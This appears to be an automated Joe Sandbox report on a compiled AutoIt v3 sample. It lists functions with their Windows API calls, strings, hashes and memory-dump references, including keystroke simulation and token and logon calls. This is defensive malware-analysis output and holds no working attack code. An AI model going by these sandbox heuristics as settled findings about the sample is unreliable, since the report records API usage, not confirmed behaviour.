GetClientRect.USER32 ref: 00007FF6BB1B593E
CreateWindowExW.USER32 ref: 00007FF6BB1B59A9
CreateFileW.KERNEL32 ref: 00007FF6BB1B59E6
GetFileSize.KERNEL32 ref: 00007FF6BB1B59FE
GlobalAlloc.KERNEL32 ref: 00007FF6BB1B5A0C
GlobalLock.KERNEL32 ref: 00007FF6BB1B5A18
ReadFile.KERNEL32 ref: 00007FF6BB1B5A33
GlobalUnlock.KERNEL32 ref: 00007FF6BB1B5A3E
CloseHandle.KERNEL32 ref: 00007FF6BB1B5A47
GlobalFree.KERNEL32 ref: 00007FF6BB1B5A54
CreateStreamOnHGlobal.OLE32 ref: 00007FF6BB1B5A68
OleLoadPicture.OLEAUT32 ref: 00007FF6BB1B5A87
GlobalFree.KERNEL32 ref: 00007FF6BB1B5A9A
CopyImage.USER32 ref: 00007FF6BB1B5ACB
SendMessageW.USER32 ref: 00007FF6BB1B5AEE
SetWindowPos.USER32 ref: 00007FF6BB1B5B2A
ShowWindow.USER32 ref: 00007FF6BB1B5DDD

Strings

AutoIt v3, xrefs: 00007FF6BB1B5917
static, xrefs: 00007FF6BB1B5969, 00007FF6BB1B5B56
, xrefs: 00007FF6BB1B5B17
DISPLAY, xrefs: 00007FF6BB1B5BA1

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
Instruction ID: 36569a05da31eb7f6916462f15693c8aeacb247e05007f5584d29892ce1d6d5a
Opcode Fuzzy Hash: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
Instruction Fuzzy Hash: DF225B76A08A828AEB14DF29E85456A77A1FB8CB98F504235DF4E87B74DF3CD445CB00

Function 00007FF6BB1D17C0 Relevance: 70.6, APIs: 38, Strings: 2, Instructions: 587windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB122A54: GetWindowLongPtrW.USER32 ref: 00007FF6BB122A71

GetWindowLongW.USER32 ref: 00007FF6BB1D189B
SendMessageW.USER32 ref: 00007FF6BB1D18C9
SendMessageW.USER32 ref: 00007FF6BB1D18F4
GetKeyState.USER32 ref: 00007FF6BB1D19A7
GetKeyState.USER32 ref: 00007FF6BB1D19BB
SendMessageW.USER32 ref: 00007FF6BB1D19D8
GetKeyState.USER32 ref: 00007FF6BB1D19E6
SendMessageW.USER32 ref: 00007FF6BB1D1A16
SendMessageW.USER32 ref: 00007FF6BB1D1A9C
SendMessageW.USER32 ref: 00007FF6BB1D1AC7
GetCursorPos.USER32 ref: 00007FF6BB1D1B66
ScreenToClient.USER32 ref: 00007FF6BB1D1B74
SendMessageW.USER32 ref: 00007FF6BB1D1BD7
SendMessageW.USER32 ref: 00007FF6BB1D1BFF
SendMessageW.USER32 ref: 00007FF6BB1D1C32
SendMessageW.USER32 ref: 00007FF6BB1D1C64
SendMessageW.USER32 ref: 00007FF6BB1D1C86
SendMessageW.USER32 ref: 00007FF6BB1D1C9C
GetCursorPos.USER32 ref: 00007FF6BB1D1CC4
ScreenToClient.USER32 ref: 00007FF6BB1D1CD2
GetParent.USER32 ref: 00007FF6BB1D1CF1
SendMessageW.USER32 ref: 00007FF6BB1D1D54
SendMessageW.USER32 ref: 00007FF6BB1D1D7E
ClientToScreen.USER32 ref: 00007FF6BB1D1DD1
TrackPopupMenuEx.USER32 ref: 00007FF6BB1D1E0E
SendMessageW.USER32 ref: 00007FF6BB1D1E33
SendMessageW.USER32 ref: 00007FF6BB1D1E5A
ClientToScreen.USER32 ref: 00007FF6BB1D1E9F
TrackPopupMenuEx.USER32 ref: 00007FF6BB1D1EDF
GetWindowLongW.USER32 ref: 00007FF6BB1D1F70
DefDlgProcW.USER32 ref: 00007FF6BB1D2197

Strings

F, xrefs: 00007FF6BB1D1E60
@GUI_DRAGID, xrefs: 00007FF6BB1D210C

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageSend$ClientScreen$LongStateWindow$CursorMenuPopupTrack$ParentProc
String ID: @GUI_DRAGID$F
API String ID: 1993697042-4164748364
Opcode ID: e7992e5e1d6abc7067500734153cecba052fd935204e75541dffe076f882d139
Instruction ID: 2b9b46fd7581cab149518ae1379cf880774ee86a443e468d1e0dc52d816e0a40
Opcode Fuzzy Hash: e7992e5e1d6abc7067500734153cecba052fd935204e75541dffe076f882d139
Instruction Fuzzy Hash: B4528F32A58A4296EB648F69E4846BD7761FF88B88F544136DB1E83BB4CF3CE454C740

Function 00007FF6BB1CCE8C Relevance: 69.5, APIs: 46, Instructions: 540windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32 ref: 00007FF6BB1CCF8D
LoadImageW.USER32 ref: 00007FF6BB1CCFAE
SendMessageW.USER32 ref: 00007FF6BB1CCFCE
DeleteObject.GDI32 ref: 00007FF6BB1CCFE0
DestroyIcon.USER32 ref: 00007FF6BB1CCFF2

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: DeleteDestroyIconImageLoadLongMessageObjectSendWindow
String ID:
API String ID: 3481653762-0
Opcode ID: 0009db8de3ffea259ba8a46f35c7ba5ff9efa5b40b0df71df5247db5c8e89bc7
Instruction ID: 029db1afffa3f229d69e5fddf1adb580145d9d92d2df61127f59264163e63449
Opcode Fuzzy Hash: 0009db8de3ffea259ba8a46f35c7ba5ff9efa5b40b0df71df5247db5c8e89bc7
Instruction Fuzzy Hash: D1328F36A08A8286E754CF29E4546BE77A0FB89B88F504135DF5E87BA4CF3CE545CB00

Function 00007FF6BB1CBA0C Relevance: 54.8, APIs: 30, Strings: 1, Instructions: 500windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF6BB1CBAE3
SendMessageW.USER32 ref: 00007FF6BB1CBB33
IsMenu.USER32 ref: 00007FF6BB1CBB4E
GetMenuItemInfoW.USER32 ref: 00007FF6BB1CBB94
SendMessageW.USER32 ref: 00007FF6BB1CBC27
SendMessageW.USER32 ref: 00007FF6BB1CBC4E
SendMessageW.USER32 ref: 00007FF6BB1CBC67
SendMessageW.USER32 ref: 00007FF6BB1CBC82
SendMessageW.USER32 ref: 00007FF6BB1CBCA6
SendMessageW.USER32 ref: 00007FF6BB1CBCD4
SendMessageW.USER32 ref: 00007FF6BB1CBCF0
SendMessageW.USER32 ref: 00007FF6BB1CBD14
GetWindowLongW.USER32 ref: 00007FF6BB1CBD4F
SendMessageW.USER32 ref: 00007FF6BB1CBD9C
SendMessageW.USER32 ref: 00007FF6BB1CBDC0
SendMessageW.USER32 ref: 00007FF6BB1CBE5A
wsprintfW.USER32 ref: 00007FF6BB1CBE91
SendMessageW.USER32 ref: 00007FF6BB1CBEAE
GetWindowTextW.USER32 ref: 00007FF6BB1CBEE3
SendMessageW.USER32 ref: 00007FF6BB1CBF05
SendMessageW.USER32 ref: 00007FF6BB1CBF2E
GetWindowTextW.USER32 ref: 00007FF6BB1CBF5B
GetWindowLongW.USER32 ref: 00007FF6BB1CBFF2
SendMessageW.USER32 ref: 00007FF6BB1CC026
SendMessageW.USER32 ref: 00007FF6BB1CC067
SendMessageW.USER32 ref: 00007FF6BB1CC0D0
CharNextW.USER32 ref: 00007FF6BB1CC10B
SendMessageW.USER32 ref: 00007FF6BB1CC152
SendMessageW.USER32 ref: 00007FF6BB1CC189

Strings

%d/%02d/%02d, xrefs: 00007FF6BB1CBE76

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageSend$Window$LongMenuText$CharInfoItemNextwsprintf
String ID: %d/%02d/%02d
API String ID: 1218376639-328681919
Opcode ID: 0f4015de1ff5bd974f5b094960a9c4c11c15eb3d961b28bc7fd33685930cdf6e
Instruction ID: fc16fc6bc6f27a8766f0834d899d78a04030886dae00b0617cef2307ef007f6a
Opcode Fuzzy Hash: 0f4015de1ff5bd974f5b094960a9c4c11c15eb3d961b28bc7fd33685930cdf6e
Instruction Fuzzy Hash: 8F12C232A0964686F7508B2DE4546BE23A0FF89B98F504131DB1DCBBB5CF3CE8428B00

Function 00007FF6BB1CDB18 Relevance: 51.2, APIs: 28, Strings: 1, Instructions: 462windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32 ref: 00007FF6BB1CDBEA
SendMessageW.USER32 ref: 00007FF6BB1CDC8E
SendMessageW.USER32 ref: 00007FF6BB1CDCAD
SendMessageW.USER32 ref: 00007FF6BB1CDCE6
GetMenuItemInfoW.USER32 ref: 00007FF6BB1CDD10
SetMenuItemInfoW.USER32 ref: 00007FF6BB1CDD70
SetMenuDefaultItem.USER32 ref: 00007FF6BB1CDD86
GetMenuItemInfoW.USER32 ref: 00007FF6BB1CDD96
SetMenuDefaultItem.USER32 ref: 00007FF6BB1CDDB4
DrawMenuBar.USER32 ref: 00007FF6BB1CDDBE
SendMessageW.USER32 ref: 00007FF6BB1CDE57
SendMessageW.USER32 ref: 00007FF6BB1CDE92
GetWindowLongW.USER32 ref: 00007FF6BB1CDEBD
SendMessageW.USER32 ref: 00007FF6BB1CDEFC
SendMessageW.USER32 ref: 00007FF6BB1CDF3F
EnableWindow.USER32 ref: 00007FF6BB1CDFA7
EnableWindow.USER32 ref: 00007FF6BB1CDFBD
ShowWindow.USER32 ref: 00007FF6BB1CE03E
ShowWindow.USER32 ref: 00007FF6BB1CE051
EnableWindow.USER32 ref: 00007FF6BB1CE06B
SendMessageW.USER32 ref: 00007FF6BB1CE0A0
SendMessageW.USER32 ref: 00007FF6BB1CE0C4
GetFocus.USER32 ref: 00007FF6BB1CE0CA
MoveWindow.USER32 ref: 00007FF6BB1CE18A
SendMessageW.USER32 ref: 00007FF6BB1CE19F
GetWindowRect.USER32 ref: 00007FF6BB1CE1BE
MoveWindow.USER32 ref: 00007FF6BB1CE1F1
MoveWindow.USER32 ref: 00007FF6BB1CE21F

Strings

P, xrefs: 00007FF6BB1CDCFD

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$MessageSend$Menu$Item$EnableInfoMove$DefaultShow$DrawFocusLongRect
String ID: P
API String ID: 1208186926-3110715001
Opcode ID: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
Instruction ID: f9f2476ade7c0e5719772f9264fc6a43375aa7345b8b90f107cc9fec3cbf8781
Opcode Fuzzy Hash: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
Instruction Fuzzy Hash: C3120572A0869286F7248B2DE4547BD27A0FB89798F504535DF4E8BAE4CF3DE451CB40

Function 00007FF6BB1B32AC Relevance: 47.6, APIs: 22, Strings: 5, Instructions: 327windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF6BB1B51B9
SystemParametersInfoW.USER32 ref: 00007FF6BB1B5312
SetRect.USER32 ref: 00007FF6BB1B5358
AdjustWindowRectEx.USER32 ref: 00007FF6BB1B536B
CreateWindowExW.USER32 ref: 00007FF6BB1B53D6
GetClientRect.USER32 ref: 00007FF6BB1B53EB
CreateWindowExW.USER32 ref: 00007FF6BB1B546A
CreateDCW.GDI32 ref: 00007FF6BB1B5486
GetStockObject.GDI32 ref: 00007FF6BB1B5496
SelectObject.GDI32 ref: 00007FF6BB1B54A2
GetTextFaceW.GDI32 ref: 00007FF6BB1B54B3
GetDeviceCaps.GDI32 ref: 00007FF6BB1B54C0
DeleteDC.GDI32 ref: 00007FF6BB1B54CB
CreateFontW.GDI32 ref: 00007FF6BB1B5530
SendMessageW.USER32 ref: 00007FF6BB1B5546
CreateWindowExW.USER32 ref: 00007FF6BB1B55A8
SendMessageW.USER32 ref: 00007FF6BB1B55C6
SendMessageW.USER32 ref: 00007FF6BB1B55DE
CreateWindowExW.USER32 ref: 00007FF6BB1B563B
GetStockObject.GDI32 ref: 00007FF6BB1B564B
SendMessageW.USER32 ref: 00007FF6BB1B5661
ShowWindow.USER32 ref: 00007FF6BB1B5671

Strings

AutoIt v3, xrefs: 00007FF6BB1B53C5
msctls_progress32, xrefs: 00007FF6BB1B558C
static, xrefs: 00007FF6BB1B5463, 00007FF6BB1B5622
DISPLAY, xrefs: 00007FF6BB1B5473
A, xrefs: 00007FF6BB1B5629

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: A$AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-2439800395
Opcode ID: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
Instruction ID: aa4670771d127d532972751643d19d208f12310c9c4108c1dc1a3687d105ff39
Opcode Fuzzy Hash: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
Instruction Fuzzy Hash: 03E16F76A08A818AE714DF69F85066A77A0FB8DB98F504135EB4E83B74CF7CE445CB00

Function 00007FF6BB144514 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 122threadkeyboardwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF6BB14452F
FindWindowW.USER32 ref: 00007FF6BB18A812
IsIconic.USER32 ref: 00007FF6BB18A81E
ShowWindow.USER32 ref: 00007FF6BB18A830
SetForegroundWindow.USER32 ref: 00007FF6BB18A839
GetWindowThreadProcessId.USER32 ref: 00007FF6BB18A84C
GetCurrentThreadId.KERNEL32 ref: 00007FF6BB18A854
GetWindowThreadProcessId.USER32 ref: 00007FF6BB18A862
AttachThreadInput.USER32 ref: 00007FF6BB18A878
AttachThreadInput.USER32 ref: 00007FF6BB18A886
AttachThreadInput.USER32 ref: 00007FF6BB18A894
SetForegroundWindow.USER32 ref: 00007FF6BB18A89D
MapVirtualKeyW.USER32 ref: 00007FF6BB18A8B2
keybd_event.USER32 ref: 00007FF6BB18A8C3
MapVirtualKeyW.USER32 ref: 00007FF6BB18A8CD
keybd_event.USER32 ref: 00007FF6BB18A8DF
MapVirtualKeyW.USER32 ref: 00007FF6BB18A8E9
keybd_event.USER32 ref: 00007FF6BB18A8FA
MapVirtualKeyW.USER32 ref: 00007FF6BB18A904
keybd_event.USER32 ref: 00007FF6BB18A916
SetForegroundWindow.USER32 ref: 00007FF6BB18A91F
AttachThreadInput.USER32 ref: 00007FF6BB18A93C
AttachThreadInput.USER32 ref: 00007FF6BB18A94A
AttachThreadInput.USER32 ref: 00007FF6BB18A958

Strings

Shell_TrayWnd, xrefs: 00007FF6BB18A80B

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 3778422247-2988720461
Opcode ID: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
Instruction ID: e040b90c1bc4ca4998cc5c174d449c2e48414b9de83b08e1f732971e52eeaaf9
Opcode Fuzzy Hash: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
Instruction Fuzzy Hash: 6A417521F58A1283F7145B2EF81463A6392BF8CB89F945035CA0EC7B74DF3DA84A8740

Function 00007FF6BB12183C Relevance: 38.0, APIs: 25, Instructions: 475windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF6BB1218EA
DeleteObject.GDI32 ref: 00007FF6BB12194E
DeleteObject.GDI32 ref: 00007FF6BB121956
DestroyIcon.USER32 ref: 00007FF6BB12195E
DestroyWindow.USER32 ref: 00007FF6BB121966
ImageList_Destroy.COMCTL32 ref: 00007FF6BB169C2A
MoveWindow.USER32 ref: 00007FF6BB16A15B
SendMessageW.USER32 ref: 00007FF6BB16A18F
SendMessageW.USER32 ref: 00007FF6BB16A1AD
ImageList_Destroy.COMCTL32 ref: 00007FF6BB16A1C2
ImageList_Destroy.COMCTL32 ref: 00007FF6BB16A1D1

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Destroy$ImageList_Window$DeleteMessageObjectSend$IconMove
String ID:
API String ID: 3372153169-0
Opcode ID: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
Instruction ID: 6bcf443f164854b5de86b53d4b2378c911698cd0d67a6760d6bc24f4aa3b5f29
Opcode Fuzzy Hash: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
Instruction Fuzzy Hash: 70227D72A09A8286EB648F29D4946BD27A1FF8DB98F544136CB5EC76B4DF3DE441C300

Function 00007FF6BB18CE68 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 227processCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB18D5CC: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6BB18D630
Part of subcall function 00007FF6BB18D5CC: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6BB18D66F
Part of subcall function 00007FF6BB18D5CC: GetLastError.KERNEL32 ref: 00007FF6BB18D682

LogonUserW.ADVAPI32 ref: 00007FF6BB18CF1A
DuplicateTokenEx.ADVAPI32 ref: 00007FF6BB18CF4D
CloseHandle.KERNEL32 ref: 00007FF6BB18CF60
OpenWindowStationW.USER32 ref: 00007FF6BB18CF7F
GetProcessWindowStation.USER32 ref: 00007FF6BB18CF96
SetProcessWindowStation.USER32 ref: 00007FF6BB18CFA3
OpenDesktopW.USER32 ref: 00007FF6BB18CFC3
wcscpy.LIBCMT ref: 00007FF6BB18D0A5
LoadUserProfileW.USERENV ref: 00007FF6BB18D0B8
CreateEnvironmentBlock.USERENV ref: 00007FF6BB18D0D8
CreateProcessAsUserW.ADVAPI32 ref: 00007FF6BB18D12F

Part of subcall function 00007FF6BB18D780: GetProcessHeap.KERNEL32 ref: 00007FF6BB18D7A2
Part of subcall function 00007FF6BB18D780: HeapAlloc.KERNEL32 ref: 00007FF6BB18D7B4
Part of subcall function 00007FF6BB18D780: GetCurrentProcess.KERNEL32 ref: 00007FF6BB18D7BD
Part of subcall function 00007FF6BB18D780: GetCurrentProcess.KERNEL32 ref: 00007FF6BB18D7C6
Part of subcall function 00007FF6BB18D780: DuplicateHandle.KERNEL32 ref: 00007FF6BB18D7EA
Part of subcall function 00007FF6BB18D780: GetCurrentProcess.KERNEL32 ref: 00007FF6BB18D7F0
Part of subcall function 00007FF6BB18D780: GetCurrentProcess.KERNEL32 ref: 00007FF6BB18D7F9
Part of subcall function 00007FF6BB18D780: DuplicateHandle.KERNEL32 ref: 00007FF6BB18D81E
Part of subcall function 00007FF6BB18D780: CreateThread.KERNEL32 ref: 00007FF6BB18D844

UnloadUserProfile.USERENV ref: 00007FF6BB18D16C
CloseWindowStation.USER32 ref: 00007FF6BB18D185
CloseDesktop.USER32 ref: 00007FF6BB18D193
SetProcessWindowStation.USER32 ref: 00007FF6BB18D1A5
CloseHandle.KERNEL32 ref: 00007FF6BB18D1B0
DestroyEnvironmentBlock.USERENV ref: 00007FF6BB18D1C7

Strings

default, xrefs: 00007FF6BB18CFB7
winsta0\default, xrefs: 00007FF6BB18D054
winsta0, xrefs: 00007FF6BB18CF72

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Process$StationWindow$CloseCurrentHandleUser$CreateDuplicate$BlockDesktopEnvironmentHeapOpenProfileToken$AdjustAllocDestroyErrorLastLoadLogonLookupPrivilegePrivilegesThreadUnloadValuewcscpy
String ID: default$winsta0$winsta0\default
API String ID: 3202303201-1423368268
Opcode ID: 57d89c1fdddb6536622cb78b9a77b7238ee294b83d91f9da3f3c77b25036669e
Instruction ID: d082cbde556c2d1d1280ea061dbe176df29fd9c49e099d93a6fab2d592d9acb7
Opcode Fuzzy Hash: 57d89c1fdddb6536622cb78b9a77b7238ee294b83d91f9da3f3c77b25036669e
Instruction Fuzzy Hash: 59A14232B08B4186E711DF69E8506AA67A1FF89B98F444139EF5D87BA8DF3CE005C750

Function 00007FF6BB122AE0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32 ref: 00007FF6BB122BE8
GetSystemMetrics.USER32 ref: 00007FF6BB122BF3
SystemParametersInfoW.USER32 ref: 00007FF6BB122C25
GetSystemMetrics.USER32 ref: 00007FF6BB122C2F
GetSystemMetrics.USER32 ref: 00007FF6BB122C5A
SetRect.USER32 ref: 00007FF6BB122C7D
AdjustWindowRectEx.USER32 ref: 00007FF6BB122C90
CreateWindowExW.USER32 ref: 00007FF6BB122CEF
SetWindowLongPtrW.USER32 ref: 00007FF6BB122D0E
GetClientRect.USER32 ref: 00007FF6BB122D30
GetStockObject.GDI32 ref: 00007FF6BB122D4C
SendMessageW.USER32 ref: 00007FF6BB122D5F

Part of subcall function 00007FF6BB121CEC: GetCursorPos.USER32 ref: 00007FF6BB121D1B
Part of subcall function 00007FF6BB121CEC: ScreenToClient.USER32 ref: 00007FF6BB121D3A
Part of subcall function 00007FF6BB121CEC: GetAsyncKeyState.USER32 ref: 00007FF6BB121D62
Part of subcall function 00007FF6BB121CEC: GetAsyncKeyState.USER32 ref: 00007FF6BB121D82

SetTimer.USER32 ref: 00007FF6BB122D90

Strings

AutoIt v3 GUI, xrefs: 00007FF6BB122CDF

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 720722d4329554f9f6e8e12540f66d0c5cc445a0c9ca5b3f60b71e572b096138
Instruction ID: f4aa84fa8cf4ad6c9dbb03d74ceeea30c162477ca0bb0da22a9788e130fd272a
Opcode Fuzzy Hash: 720722d4329554f9f6e8e12540f66d0c5cc445a0c9ca5b3f60b71e572b096138
Instruction Fuzzy Hash: 61D13A36A14A528AEB14DF7DE8546AD37A1FB88B5CF100135DB0E97BA8DF38E444C740

